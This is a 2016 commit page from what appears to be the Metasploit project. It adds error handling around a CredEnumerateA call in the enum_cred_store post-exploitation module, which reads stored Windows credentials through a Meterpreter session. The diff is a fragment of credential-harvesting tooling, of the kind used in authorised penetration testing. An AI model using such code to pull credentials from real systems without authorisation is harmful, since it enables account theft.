Land #7248, CredEnumerateA fix for enum_cred_store

This commit is contained in:
William Vu 2016-08-29 15:12:23 -05:00
commit ea7721608b
No known key found for this signature in database
GPG Key ID: 68BD00CE25866743
1 changed files with 18 additions and 7 deletions

View File

@ -178,14 +178,25 @@ class MetasploitModule < Msf::Post
credentials = []
#call credenumerate to get the ptr needed
adv32 = session.railgun.advapi32
ret = adv32.CredEnumerateA(nil,0,4,4)
p_to_arr = ret["Credentials"].unpack("V")
if is_86
count = ret["Count"]
arr_len = count * 4
begin
ret = adv32.CredEnumerateA(nil,0,4,4)
rescue Rex::Post::Meterpreter::RequestError => e
print_error("This module requires WinXP or higher")
print_error("CredEnumerateA() failed: #{e.class} #{e}")
ret = nil
end
if ret.nil?
count = 0
arr_len = 0
else
count = ret["Count"] & 0x00000000ffffffff
arr_len = count * 8
p_to_arr = ret["Credentials"].unpack("V")
if is_86
count = ret["Count"]
arr_len = count * 4
else
count = ret["Count"] & 0x00000000ffffffff
arr_len = count * 8
end
end
#tell user what's going on